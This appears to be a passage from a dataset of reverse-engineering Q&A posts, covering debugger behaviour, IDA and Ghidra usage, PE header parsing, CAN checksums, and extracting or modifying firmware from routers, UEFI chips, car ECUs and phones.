+I noticed that if I compiled the code and ran it normally, I will get system to execute "ls -l" and does a folder listing. However, if I was stepping through the binary using lldb from start to midway and proceed to continue the rest of the execution while inside lldb, I will see "whoami" executed instead. +I am testing this on a Mac OS and I am not sure if this is due to lldb or Mac OS behaviour? +" +"['debugging', 'gdb', 'elf', 'dynamic-analysis']"," Title: Dynamic Analysis with gdb on ELF binaries with no compilation/linking informationBody: I am trying to do some dynamic analysis on a couple of ELF binaries with gdb. However, since those two are directly downloaded (ELF binary file only) with no additional information related to compilation/linking etc., I am not able to set up the proper environment in order to run them within gdb. +In particular, I am receiving the following errors: + +Do you know how could I possibly resolve those issues or what can I do in order to set my environment properly for dynamic analysis? +Thank you so much in advance for all of your input. +" +['ida']," Title: trying to understand this mov memory[register] instructionBody: Windows 10, IDA Home, 64bit application compiled with Visual Studio. +I'm reverse engineering a crackme and i found this instruction : +
  mov     cl, byte_51B000[eax]
+  mov     byte_51B018[edx], cl 
+
+in these 2 byte_ location are null terminated strings. +I'm not sure to understand exactly what it's doing. Is it like an array index where byte_* is the array and [eax/edx] is the index ? i can't find this kind of syntax anywhere, is it IDA specific ? +" +"['ida', 'linux', 'gdb']"," Title: Edit IDA signal handlerBody: In Ida Pro while debugging linux process with gdbserver I got window that show than SIGTRAP has been arrived, I choose to pass it to application. +How can I edit that choose now? I want to ignore this signal and not pass it to application +By the way,what signals are causing the process to die in linux ,so I will choose to not pass them to application? +" +"['windows', 'linux', 'malware', 'operating-systems']"," Title: Does the operating system you use matter?Body: people recommend windows for reverse engineering, I don't want to install windows as a virtual machine because they are laggy and I already have windows 10 as host, is it possible to use linux vm that already has tools installed instead. +can i still download a windows malware and do reverse engineer it in linux vm. +" +"['debugging', 'ghidra', 'python']"," Title: How can I debug Ghidra plugin Python scripts in IDE?Body: I'd like to debug Ghidra plugin scripts written in python using an IDE such as Eclipse. I have installed Pydev and the GhidraDev plugin (from Ghidra open a script in Eclipse to autoinstall the plugin). +With the plugin script opened in Eclipse, I'll set a breakpoint (e.g. on the print stmt below), then click Debug > GhidraScripts to launch Ghidra, and finally manually initiate the script (see sample script below). I see the thread and can pause the script thread from Eclipse, but the breakpoints are never hit. +I've tried both GhidraScripts (Headless) and GUI based GhidraScript launch, however none of my break. +
# Hello Function Script
+# @author mechgt
+# @category _NEW_
+# @keybinding
+# @menupath
+# @toolbar
+
+import ghidra
+import time
+    
+# Iterate through functions, parsing and printing each
+function = getFirstFunction()
+while function is not None:
+    print("Function: {} Address: {}".format(function.getName(), function.getEntryPoint()))
+    time.sleep(3)
+    function = getFunctionAfter(function)
+
+How can I get debugging functionality for Ghidra Python scripts? +NOTE: The Eclipse/Ghidra/PyDev debugging issues appear related to a possible bug: https://github.com/NationalSecurityAgency/ghidra/issues/1707 +" +"['windows', 'decompilation', 'ghidra', 'hexrays']"," Title: How to show KUSER_SHARED_DATA members in decompiled C code?Body: Here is a sample C code which prints Windows version directly from address +of KUSER_SHARED_DATA. Tested in Windows 10 only. The raw memory address +differ in Windows version but that's not the point. +
#include <stdio.h>
+
+int main(void)
+{
+    wprintf(
+        L"Version: %lu.%lu.%lu\n",
+        *(unsigned int *)(0x7FFE0000 + 0x026C),
+        *(unsigned int *)(0x7FFE0000 + 0x0270),
+        *(unsigned int *)(0x7FFE0000 + 0x0260)
+    );
+}
+
+Here are the decompiled code: +In GHIDRA: +
int main(int _Argc,char **_Argv,char **_Env)
+
+{
+    wprintf(L"Version: %lu.%lu.%lu\n",
+        (ulonglong)_DAT_7ffe026c,
+        (ulonglong)_DAT_7ffe0270,
+        (ulonglong)_DAT_7ffe0260);
+  return 0;
+}
+
+In IDA Pro + Hex-Rays: +
int __fastcall main()
+{
+    wprintf(L"Version: %lu.%lu.%lu\n",
+        MEMORY[0x7FFE026C],
+        MEMORY[0x7FFE0270],
+        MEMORY[0x7FFE0260]);
+  return 0;
+}
+
+My question: In decompiled code, is it possible to show the memory address as +the member of KUSER_SHARED_DATA? For example, I want to show MEMORY[0x7FFE0260] +as SharedData.NtBuildNumber or something similar to it. +" +"['assembly', 'atmel']"," Title: I am translating some assembly code into CBody: I am translating some assembly code into C, and I need some help with a part of it: +
    .equ UBRR_val = 12 ;UBRR sets baud, 12 = 19200baud at 4 MHz
+    .def char = r17 ; Register to hold a character
+
+    .org 0x00 ; Execute this when reset button is pushed
+    rjmp start
+
+
+So I have translated it as follows: +
+
    #define UBRR_val ((4UL/19200)-1) 
+    #define char* = 17; 
+
+    .org 0x00 ; Execute this when reset button is pushed
+    rjmp start
+
+
+But I can't figure out .org 0x00; +I think the rjmp start directs to the main so no changes are needed +
+Anyone that can help with it? +" +"['ida', 'functions']"," Title: Why some functions in IDA can't be searchedBody: I don't know why but I noticed, on some program I am reversing, that in a section named .bss, there functions and I can't find them through the regular search, why is that. +For example, I wanted to search for _mainScene but it found me only one functioned named newMainScene:
+ +EDIT:
+A friend show me that I can search with Shift+4 in IDA for the names in .bss. +" +['crc']," Title: CAN checksum algorithmBody: I am trying to caclulate a checksum algorithm. D0 is CRC, D1 to D2 is data. Maybe someone can help me with algorithm for checksum calculation? +
D0  D1  D2  D3
+68  00  01  00
+74  00  03  00
+DD  01  01  00
+C1  01  03  00
+2D  02  01  00
+31  02  03  00
+98  03  01  00
+84  03  03  00
+E2  04  01  00
+FE  04  03  00
+57  05  01  00
+4B  05  03  00
+A7  06  01  00
+BB  06  03  00
+12  07  01  00
+0E  07  03  00
+53  08  01  00
+4F  08  03  00
+E6  09  01  00
+FA  09  03  00
+16  0A  01  00
+0A  0A  03  00
+A3  0B  01  00
+BF  0B  03  00
+D9  0C  01  00
+C5  0C  03  00
+6C  0D  01  00
+70  0D  03  00
+9C  0E  01  00
+80  0E  03  00
+
+" +"['c++', 'memory', 'winapi', 'virtual-memory']"," Title: How can a debugger break on dynamic loaded libraries?Body: I think I have a massive understanding problem with the following issue: +Usually the loader will fix the Import Table for the modules that have been loaded, right, so if I set a breakpoint on CreateFileW the debugger can just follow the Import Table address and do so. +However, I've been watching some tutorials lately and often they set breakpoints on e.g. CreateFileW for modules that have been loaded dynamically e.g. LoadLibaryA (while themself are at the entry point of the program). +I'm unable to understand how the debugger can set a breakpoint for a module that yet has not been loaded into the memory? +" +['windows']," Title: How to discover how a program gets keyboard input?Body: I'm reversing a windows x86 binary that I can't figure out how the program is getting the keyboard input. +I've searched for the windows api functions I was used to but the program doesn't call them. +So... Is there a function that every different method to get the keyboard input calls? If not, what should I do in order to discover how a given program gets the keyboard input? +" +"['ida', 'windows', 'driver', 'kernel']"," Title: How to resolve major function numbers to their name while reversing windows drivers?Body: I'm reversing some windows drivers, and IDA never converts numbers to their corresponding major function name like IRP_MJ_CREATE = 0x00, how can i force this? is there anyway i can convert a number to major function name? +ALSO : why doesn't IDA convert it itself? for the first parameter of IoBuildSynchronousFsdRequest is always a major function number, why can't ida just name its MAJOR function name instead of giving me its number? +" +"['ida', 'ghidra', 'control-flow-graph', 'uefi']"," Title: In which program do I reverse engineer UEFI firmwaresBody: I came into a problem, where I am unable to use a hardware due to a firmware incompatibility. As I have multiple sources and proofs that the hardware is indeed supported on the hardware level, and it is only a software incompatibility, and I gave up all hope on getting help in other forums, I came to the conclusion I have to reverse engineer myself the code and find the if statement that fucks with me. (Edit : It is an NVME disk in an AHCI slot that I am able to access if that is not the boot disk. There is a dxe module that allows it to be bootable, however I have a very strong feeling that there is an if statement that defacto denies it to be booted from nvme for planned obsolescence) +I have an UEFI file that I managed to get with an SPI programmer from the motherboards MX25l12873F chip, and thats where my knowledge stops. +I know that I am looking for a display output of "2103: Detection error on SSD0 (M.2)" and all information related to NVME. +UEFITool 0.25 is able to find 8 instances of nvme and 1 instance of Detection error in separate dxe modules. +However I feel like I am going so deep that there is no forum specific for my kind of project, and I ran into a few problems: I don't know which disassembler, reverse engineer tool to use, and how to use them. I was trying to go with IDA, but when I searched for nvme, I could find nothing. Another post here mentioned that GHidra is better for these kinds of tasks, but I could not figure out how to correctly load the raw binary. This whole environment is new to me, but what should I do to correctly load in the whole image so I could just go and backtrack from the errors or get a control flow graph that I can follow around and maybe modify that if statement? +" +"['ida', 'ghidra', 'hexrays']"," Title: Analyzing raw binary without ELF header in IDA ProBody: I am trying to analyze and disassemble a raw binary that does not have an ELF header using IDA Pro. +I have been trying to convert to code using MakeCode, but have not gotten anywhere as the binary is quite large. +I know it is supposed to be a 32 bit LSB binary, and Ghidra decompiles the same raw binary without any problems. However, I do prefer the IDA decompiler to Ghidra which is why I am trying to make it work in IDA as well. +The main problem is that the list of functions is missing (due to missing headers of course), but this does not seem to be a problem for Ghidra. +Is it possible to get the same result in IDA as I get in Ghidra? If so, how? What is the correct way to analyze raw binaries in IDA Pro / Hex-Rays? +" +"['binary-analysis', 'firmware', 'binary', 'binary-format', 'ecu']"," Title: Advice for retrieving functions and tables from Intel 8061/8065 bin file (reverse engineering) from Ford EECV ECUBody: I have under my disposal some Ford EECV bin files and my goal for the next few weeks is to retrieve the functions and tables, and plot them out before going onto DIY hardware. +Does anyone know which platforms to use to analyze Ford/Intel 8061/8065 bin files, or possibly disassemble them? I checked into the bin files today using Notepad++ hex editor plugin, and didn't get many strings except for 'Ford copyright 2002', but I do see some hex patterns floating around… Thus, would I find a disassembling platform, or hack it with the 8061 manual? +Also, pardon my ignorance, but how do you regulars retrieve bin files? I know you can stick the ROM into the ROM reader, but intuitively I feel that people also get bin files from the OBD port upon KOEO and get the 'ROM dump' from the RAM in the ECU. Is that the 'frontdoor' way of getting live data? +P.S.: Excuse me for my use of semantics. +" +"['debuggers', 'x64dbg']"," Title: x64dbg show some text in ChineseBody: While debugging some 32-bit file with x32dbg, some of the text appear in Chinese and I don't why.
+This happened after I moved to a new computer but both of them were Windows 10.
+In my old computer I didn't have this issue with the same file.
+Any idea how to fix it?
+I am working on the latest version Oct 2 2020.
+ +" +['radare2']," Title: The Graph view in Cutter is emptyBody: Following this question, I'm trying to figure out how cscript.exe parses the .wsh Windows Script Host control files. First I tried WinDbg, but Radare2-Cutter seems like a much nicer software TBH. What I did: +
    +
  1. Opened the C:\Windows\System32\cscript.exe
  2. +
  3. Imported the previously downloaded official Microsoft symbols File > Import PDB > cscript.pdb
  4. +
  5. View > Refresh Contents
  6. +
+However, the Graph tab shows empty: +
+                       
+
+
+Graph (Empty)
No function detected. Cannot display graph. +
+I would appreciate it if you could help me know what is the problem and how I can solve it. +P.S. Any other help towards solving the original problem is also highly appreciated. 😉 +" +"['firmware', 'unpacking']"," Title: can't extract a lzma compressed fileBody: hello i want to do the reverse engineering. for tp linkTD-W8961ND_V3 firmware +here is the output +
DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+61191         0xEF07          ZyXEL rom-0 configuration block, name: "dbgarea", compressed size: 0, uncompressed size: 0, data offset from start of block: 16
+61440         0xF000          ZyXEL rom-0 configuration block, name: "dbgarea", compressed size: 0, uncompressed size: 0, data offset from start of block: 16
+85043         0x14C33         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 66696 bytes
+118036        0x1CD14         Unix path: /usr/share/tabset/vt100:\
+118804        0x1D014         ZyXEL rom-0 configuration block, name: "spt.dat", compressed size: 0, uncompressed size: 0, data offset from start of block: 16
+118824        0x1D028         ZyXEL rom-0 configuration block, name: "autoexec.net", compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16
+128002        0x1F402         GIF image data, version "89a", 200 x 50
+136194        0x21402         GIF image data, version "89a", 560 x 50
+252286        0x3D97E         Neighborly text, "neighbor of your ADSL Router that will forward the packet to the destination. On the LAN, the gateway </font>e destination. On the LAN, the gateway </font>"
+340223        0x530FF         Copyright string: "Copyright (c) 2001 - 2015 TP-LINK TECHNOLOGIES CO., LTD."
+377616        0x5C310         Copyright string: "Copyright &copy; 2015 TP-LINK Technologies Co., Ltd. All rights reserved."
+377634        0x5C322         TP-Link firmware header, firmware version: 28780.26990.27501, image version: " Co., Ltd. All rights reserved.", product ID: 0x6E42746E, product version: 1131375727, kernel load address: 0x72002223, kernel entry point: 0x46463939, kernel offset: 4411461, kernel length: 1215263604, rootfs offset: 1315007845, rootfs length: 1400140358, bootloader offset: 1869756214, bootloader length: 808517748
+391219        0x5F833         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3711356 bytes
+
+root@soyalk:~/Desktop/router-tools# dd if=firmware.bin bs=1 skip=377634 of=firmware.lzma
+dd: failed to open 'firmware.bin': No such file or directory
+root@soyalk:~/Desktop/router-tools# dd if=ras bs=1 skip=377634 of=firmware.lzma
+1245832+0 records in
+1245832+0 records out
+1245832 bytes (1.2 MB, 1.2 MiB) copied, 17.4058 s, 71.6 kB/s
+root@soyalk:~/Desktop/router-tools# binwalk firmware.lzma 
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             TP-Link firmware header, firmware version: 28780.26990.27501, image version: " Co., Ltd. All rights reserved.", product ID: 0x6E42746E, product version: 1131375727, kernel load address: 0x72002223, kernel entry point: 0x46463939, kernel offset: 4411461, kernel length: 1215263604, rootfs offset: 1315007845, rootfs length: 1400140358, bootloader offset: 1869756214, bootloader length: 808517748
+13585         0x3511          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3711356 bytes
+
+root@soyalk:~/Desktop/router-tools# lzma -d firmware.lzma 
+lzma: Decoder error
+
+how to extract that lzma file? +" +"['binary-analysis', 'bin-diffing', 'tool-bindiff']"," Title: Alternative to BinDiff that works on Linux x86_64 binaries (and preferably does not require IDA Pro)Body: Is there alternative to +https://www.zynamics.com/bindiff.html +that works for Linux x86_64 binaries, works on Linux, (and preferably does not require IDA Pro, however if needed it seems that IDA can run on Linux so it may be fine)? +" +"['pe', 'entry-point', 'pe32', 'virtual-memory']"," Title: How to find ""RawAddress"" of a ""VirtualAddress""?Body: I'm trying to parse a PE file manually as below: +
    1 ### DOS Header
+    2 
+    3 00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
+    4 00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
+    5 00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+    6 00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................   // e_lfanew = 0x00000080
+    7 
+    8     - DOS Stub
+    9 00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th
+   10 00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f  is program canno
+   11 00000060: 7420 6265 2072 756e 2069 6e20 444f 5320  t be run in DOS
+   12 00000070: 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000  mode....$.......
+   13 
+   14 -------------------------------------------------------------------
+   15 
+   16 ### NT Header
+   17 
+   18     - Magic
+   19 00000080: 5045 0000
+   20 
+   21     - File Header
+   22                     4c01 0f00 3f55 785e 0088 0400  PE..L...?Ux^....   // NumberOfSections = 0x000f = 15
+   23 00000090: a705 0000 e000 0701                                         // SizeOfOptionalHeader = 0x000e = 14 * 16
+   24 
+   25     - Optional Header
+   26                               0b01 0221 0022 0000  ...........!."..
+   27 000000a0: 003a 0000 0006 0000 c014 0000 0010 0000  .:..............   // EntryPoint = 0x000014c0 & BaseOfCode = 0x00001000
+   28 000000b0: 0040 0000 0000 4000 0010 0000 0002 0000  .@....@.........   // BaseOfData = 0x00004000 & ImageBase = 0x00400000 & SectionAlignment = 0x00001000 & FileAlignment = 0x00000200
+   29 000000c0: 0400 0000 0100 0000 0400 0000 0000 0000  ................
+   30 000000d0: 0030 0500 0004 0000 3004 0500 0300 4001  .0......0.....@.
+   31 000000e0: 0000 2000 0010 0000 0000 1000 0010 0000  .. .............
+   32 000000f0: 0000 0000 1000 0000
+   33 
+   34         - Data Directories
+   35                               0000 0000 0000 0000  ................
+   36 00000100: 0070 0000 5c07 0000 0000 0000 0000 0000  .p..\...........   // ImportDirectory: VirtualAddress = 0x00007000 & Size = 0x0000075c
+   37 00000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+   38 00000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+   39 00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+   40 00000140: 5052 0000 1800 0000 0000 0000 0000 0000  PR..............
+   41 00000150: 0000 0000 0000 0000 6871 0000 0401 0000  ........hq......
+   42 00000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+   43 00000170: 0000 0000 0000 0000
+   44 
+   45 -------------------------------------------------
+   46 
+   47 ### Section Headers
+   48 
+   49                               2e74 6578 7400 0000  .........text...
+   50 00000180: 6421 0000 0010 0000 0022 0000 0004 0000  d!......."......
+   51 00000190: 0000 0000 0000 0000 0000 0000 6000 5060  ............`.P`
+   52 
+   53 000001a0: 2e64 6174 6100 0000 3400 0000 0040 0000  .data...4....@..
+   54 000001b0: 0002 0000 0026 0000 0000 0000 0000 0000  .....&..........
+   55 000001c0: 0000 0000 4000 30c0
+   56                               2e72 6461 7461 0000  ....@.0..rdata..
+   57 000001d0: 6c08 0000 0050 0000 000a 0000 0028 0000  l....P.......(..
+   58 000001e0: 0000 0000 0000 0000 0000 0000 4000 3040  ............@.0@
+   59 
+   60 000001f0: 2e62 7373 0000 0000 0c04 0000 0060 0000  .bss.........`..
+   61 00000200: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+   62 00000210: 0000 0000 8000 60c0
+   63                               2e69 6461 7461 0000  ......`..idata..   // .idata section header
+   64 00000220: 5c07 0000 0070 0000 0008 0000 0032 0000  \....p.......2..   // VirtualSize = 0x0000075c & VirtualAddress = 0x00000700
+   65 00000230: 0000 0000 0000 0000 0000 0000 4000 30c0  ............@.0.
+   66 
+   67 00000240: 2e43 5254 0000 0000 3400 0000 0080 0000  .CRT....4.......
+   68 00000250: 0002 0000 003a 0000 0000 0000 0000 0000  .....:..........
+   69 00000260: 0000 0000 4000 30c0
+   70                               2e74 6c73 0000 0000  ....@.0..tls....
+   71 00000270: 0800 0000 0090 0000 0002 0000 003c 0000  .............<..
+   72 00000280: 0000 0000 0000 0000 0000 0000 4000 30c0  ............@.0.
+   73 
+   74 00000290: 2f34 0000 0000 0000 e002 0000 00a0 0000  /4..............
+   75 000002a0: 0004 0000 003e 0000 0000 0000 0000 0000  .....>..........
+   76 000002b0: 0000 0000 4000 1042
+   77                               2f31 3900 0000 0000  ....@..B/19.....
+   78 000002c0: efb8 0300 00b0 0000 00ba 0300 0042 0000  .............B..
+   79 000002d0: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B
+   80 
+   81 000002e0: 2f33 3100 0000 0000 dd25 0000 0070 0400  /31......%...p..
+   82 000002f0: 0026 0000 00fc 0300 0000 0000 0000 0000  .&..............
+   83 00000300: 0000 0000 4000 1042
+   84                               2f34 3500 0000 0000  ....@..B/45.....
+   85 00000310: 9d34 0000 00a0 0400 0036 0000 0022 0400  .4.......6..."..
+   86 00000320: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B
+   87 
+   88 00000330: 2f35 3700 0000 0000 1c09 0000 00e0 0400  /57.............
+   89 00000340: 000a 0000 0058 0400 0000 0000 0000 0000  .....X..........
+   90 00000350: 0000 0000 4000 3042
+   91 
+   92                               2f37 3000 0000 0000  ....@.0B/70.....
+   93 00000360: 1e05 0000 00f0 0400 0006 0000 0062 0400  .............b..
+   94 00000370: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B
+   95 
+   96 00000380: 2f38 3100 0000 0000 601a 0000 0000 0500  /81.....`.......
+   97 00000390: 001c 0000 0068 0400 0000 0000 0000 0000  .....h..........
+   98 000003a0: 0000 0000 4000 1042
+   99 
+  100                               2f39 3200 0000 0000  ....@..B/92.....
+  101 000003b0: 4003 0000 0020 0500 0004 0000 0084 0400  @.... ..........
+  102 000003c0: 0000 0000 0000 0000 0000 0000 4000 1042  ............@..B
+  103 
+  104 -------------------------------------------------
+  105 
+  106     - Padding for FileAlignment?
+  107 
+  108 000003d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+  109 000003e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+  110 000003f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
+  111 
+  112 ------------------------------------------------
+  113 
+  114 ### Sections
+  115 
+  116 00000400: c38d b426 0000 0000 8db4 2600 0000 0090  ...&......&.....
+  117 00000410: 83ec 1c31 c066 813d 0000 4000 4d5a c705  ...1.f.=..@.MZ..
+  118 00000420: 8c63 4000 0100 0000 c705 8863 4000 0100  .c@........c@...
+  119 00000430: 0000 c705 8463 4000 0100 0000 c705 3060  .....c@.......0`
+  120 00000440: 4000 0100 0000 7518 8b15 3c00 4000 81ba  @.....u...<.@...
+  121 00000450: 0000 4000 5045 0000 8d8a 0000 4000 7450  ..@.PE......@.tP
+  122 00000460: a30c 6040 00a1 9463 4000 85c0 7532 c704  ..`@...c@...u2..
+  123 00000470: 2401 0000 00e8 0220 0000 e805 2000 008b  $...... .... ...
+  124 00000480: 15a8 6340 0089 10e8 d40f 0000 833d 1c40  ..c@.........=.@
+  125 00000490: 4000 0174 4b31 c083 c41c c38d 7426 0090  @..tK1......t&..
+  126 000004a0: c704 2402 0000 00e8 d01f 0000 ebcc 6690  ..$...........f.
+  127 000004b0: 0fb7 5118 6681 fa0b 0174 3d66 81fa 0b02  ..Q.f....t=f....
+         ...           .... Truncated .....                   ...
+
+My questions: +
    +
  1. As you see above, in the line #36, we have virtualAddress related to import libraries. How can I find the corresponding rawAddress of those data in the file content? I mean, how can I convert virtualAddresses to rawAddresses?
  2. +
  3. As you see above, we have virtualAddress and Size fields in second index of DataDirectory in optionalHeader (Line #36) and also in .idata sectionHeader (Line #64). And both have equal values. Why? Isn't that redundant? Do we have some cases which these fields have different values?
  4. +
  5. As far as I know, .text section contains the program's assembly code. So why EntryPoint field in the OptionalHeader doesn't have the address of beginning of .text section?
  6. +
+" +"['x86', 'arm']"," Title: Migrate x86 printer drivers to arm [Brother]Body: I have a Brother DCP 197C printer and I would like to print from my phone using a raspberry pi. To archieve it I need to install drivers, but brother only provide x86 and x64 drivers, any way to do it? Thanks! +The driver download link: +https://support.brother.com/g/b/downloadlist.aspx?c=es&lang=es&prod=dcp197c_eu&os=128&flang=English +" +"['ida', 'decompilation', 'delphi']"," Title: Can you decompile code if you Know the Complier?Body: My company has a small number of .exe that were written in the '80s that are performing some minorly important tasks. Source code is gone and documentation is scarce. In order to run them we need to use DOSBox. My team wants to get the process into a modern language so we can maintain the code and if possible see how the program functions. Previous attempts to reserve engineer have failed, I believe because not enough time was allotted to work on the problem. I've doing some exploration to see what is possible. Thus far this is what I think I have found: +
    +
  1. Using IDA PRO 5.0 I can get the code back to assembly. The code looks functional.
  2. +
  3. From the above, it appears the original code was either Pascal or Delphi.
  4. +
  5. It looks like I can see what compiler (Borland) was used to create the .exe files.
  6. +
+My question is if I know the compiler was Borland, can I use that information to get back to a relatively correct source code? I know the variable names will be bad and it might have other issue that need to be debugged, but just getting back to the basic structure of the code with loops and defined function calls and methods would be great. If not, am I stuck trying to learn assembly to get a better idea of what is going on? +" +"['binary-analysis', 'firmware', 'firmware-analysis', 'binwalk', 'binary-editing']"," Title: Modify bin firmware file of an old phoneBody: I am trying to remove/disable some system apps ( Messages, Games, Radio or Calendar ) and remove/replace the boot screen from samsung E1200y. +So i start searching for the way to do that... +I used HxH hex editor for trying to modify the firmware bin file. +i searched for the strings -> deleted some strings that have the keyword Messages, Games, Radio or Calendar -> but that doesn't looks correct +So i searched more and found binwalk in linux. +I used it and here's the results +
DECIMAL       HEXADECIMAL     DESCRIPTION
+------------------------------------------------------------------------------------------------------
+197170        0x30232         Unix path: /source/base/src/doidleonpage.c
+290966        0x47096         Unix path: /source/efs/src/efs_item.c
+340308        0x53154         Unix path: /Layer1/source/c/datacnfproc.c
+439316        0x6B414         Unix path: /Layer1/source/c/systeminfo.c
+454360        0x6EED8         Unix path: /chip_module/busmonitor/v5/busmonitor_phy_v5.c
+1044005       0xFEE25         MySQL MISAM index file Version 7
+1047421       0xFFB7D         MySQL ISAM compressed data file Version 5
+1076680       0x106DC8        MySQL MISAM index file Version 3
+1083384       0x1087F8        MySQL ISAM index file Version 2
+1084942       0x108E0E        MySQL MISAM index file Version 2
+1095977       0x10B929        MySQL ISAM compressed data file Version 11
+1115351       0x1104D7        MySQL ISAM compressed data file Version 2
+1133241       0x114AB9        MySQL ISAM compressed data file Version 5
+1163534       0x11C10E        MySQL MISAM compressed data file Version 9
+1169361       0x11D7D1        MySQL MISAM index file Version 2
+1169878       0x11D9D6        MySQL ISAM compressed data file Version 1
+1172147       0x11E2B3        MySQL MISAM index file Version 7
+1175240       0x11EEC8        MySQL MISAM index file Version 5
+1216892       0x12917C        Unix path: /source/src/c/sci_mem.c
+1222192       0x12A630        Unix path: /source/src/c/threadx_os.c
+1235544       0x12DA58        Unix path: /source/src/c/sci_log.c
+1240224       0x12ECA0        Unix path: /source/src/c/threadx_appmem.c
+3853392       0x3ACC50        LZMA compressed data, properties: 0x5A, dictionary size: 16777216
+                              bytes, uncompressed size: 4096 bytes
+3858764       0x3AE14C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216
+                              bytes, uncompressed size: 4096 bytes
+3858804       0x3AE174        LZMA compressed data, properties: 0x5A, dictionary size: 16777216
+                              bytes, uncompressed size: 4096 bytes
+3858844       0x3AE19C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216
+                              bytes, uncompressed size: 4096 bytes
+3984072       0x3CCAC8        LZMA compressed data, properties: 0x5A, dictionary size: 16777216
+                              bytes, uncompressed size: 4096 bytes
+4268656       0x412270        PC bitmap, Windows 3.x format,, 60 x 80 x 4
+6060579       0x5C7A23        XML document, version: "1.0"
+6064503       0x5C8977        XML document, version: "1.0"
+6067639       0x5C95B7        XML document, version: "1.0"
+6069663       0x5C9D9F        XML document, version: "1.0"
+6071627       0x5CA54B        XML document, version: "1.0"
+6073771       0x5CADAB        XML document, version: "1.0"
+6075911       0x5CB607        XML document, version: "1.0"
+6078019       0x5CBE43        XML document, version: "1.0"
+6082035       0x5CCDF3        XML document, version: "1.0"
+6084719       0x5CD86F        XML document, version: "1.0"
+6087079       0x5CE1A7        XML document, version: "1.0"
+6088615       0x5CE7A7        XML document, version: "1.0"
+6091495       0x5CF2E7        XML document, version: "1.0"
+6094375       0x5CFE27        XML document, version: "1.0"
+6098727       0x5D0F27        XML document, version: "1.0"
+6101915       0x5D1B9B        XML document, version: "1.0"
+6105723       0x5D2A7B        XML document, version: "1.0"
+6108279       0x5D3477        XML document, version: "1.0"
+6110791       0x5D3E47        XML document, version: "1.0"
+6113675       0x5D498B        Unix path: /Customer/XFV/PowerOffAnim/shutdown-01.bmp" width="128"
+                              height="128">
+6115267       0x5D4FC3        XML document, version: "1.0"
+6118599       0x5D5CC7        XML document, version: "1.0"
+6121467       0x5D67FB        XML document, version: "1.0"
+
+after extracting the .bin file, i got +
total 71480
+-rw-r--r-- 1 shakir shakir    4096 Oct 30 01:33 3ACC50
+-rw-r--r-- 1 shakir shakir 4535216 Oct 30 01:33 3ACC50.7z
+-rw-r--r-- 1 shakir shakir    4096 Oct 30 01:33 3AE14C
+-rw-r--r-- 1 shakir shakir 4529844 Oct 30 01:33 3AE14C.7z
+-rw-r--r-- 1 shakir shakir    4096 Oct 30 01:33 3AE174
+-rw-r--r-- 1 shakir shakir 4529804 Oct 30 01:33 3AE174.7z
+-rw-r--r-- 1 shakir shakir    4096 Oct 30 01:33 3AE19C
+-rw-r--r-- 1 shakir shakir 4529764 Oct 30 01:33 3AE19C.7z
+-rw-r--r-- 1 shakir shakir    4426 Oct 30 01:33 3CCAC8
+-rw-r--r-- 1 shakir shakir 4404536 Oct 30 01:33 3CCAC8.7z
+-rw-r--r-- 1 shakir shakir 2328029 Oct 30 01:33 5C7A23.xml
+-rw-r--r-- 1 shakir shakir 2324105 Oct 30 01:33 5C8977.xml
+-rw-r--r-- 1 shakir shakir 2320969 Oct 30 01:33 5C95B7.xml
+-rw-r--r-- 1 shakir shakir 2318945 Oct 30 01:33 5C9D9F.xml
+-rw-r--r-- 1 shakir shakir 2316981 Oct 30 01:33 5CA54B.xml
+-rw-r--r-- 1 shakir shakir 2314837 Oct 30 01:33 5CADAB.xml
+-rw-r--r-- 1 shakir shakir 2312697 Oct 30 01:33 5CB607.xml
+-rw-r--r-- 1 shakir shakir 2310589 Oct 30 01:33 5CBE43.xml
+-rw-r--r-- 1 shakir shakir 2306573 Oct 30 01:33 5CCDF3.xml
+-rw-r--r-- 1 shakir shakir 2303889 Oct 30 01:33 5CD86F.xml
+-rw-r--r-- 1 shakir shakir 2301529 Oct 30 01:33 5CE1A7.xml
+-rw-r--r-- 1 shakir shakir 2299993 Oct 30 01:33 5CE7A7.xml
+-rw-r--r-- 1 shakir shakir 2297113 Oct 30 01:33 5CF2E7.xml
+-rw-r--r-- 1 shakir shakir 2294233 Oct 30 01:33 5CFE27.xml
+-rw-r--r-- 1 shakir shakir 2289881 Oct 30 01:33 5D0F27.xml
+-rw-r--r-- 1 shakir shakir 2286693 Oct 30 01:33 5D1B9B.xml
+-rw-r--r-- 1 shakir shakir 2282885 Oct 30 01:33 5D2A7B.xml
+-rw-r--r-- 1 shakir shakir 2280329 Oct 30 01:33 5D3477.xml
+-rw-r--r-- 1 shakir shakir 2277817 Oct 30 01:33 5D3E47.xml
+-rw-r--r-- 1 shakir shakir 2273341 Oct 30 01:33 5D4FC3.xml
+-rw-r--r-- 1 shakir shakir 2270009 Oct 30 01:33 5D5CC7.xml
+-rw-r--r-- 1 shakir shakir 2267141 Oct 30 01:33 5D67FB.xml
+
+My questions: +
    +
  1. How to get the .c files like /source/base/src/doidleonpage.c ?
  2. +
  3. Why the file's name begin with hex ?
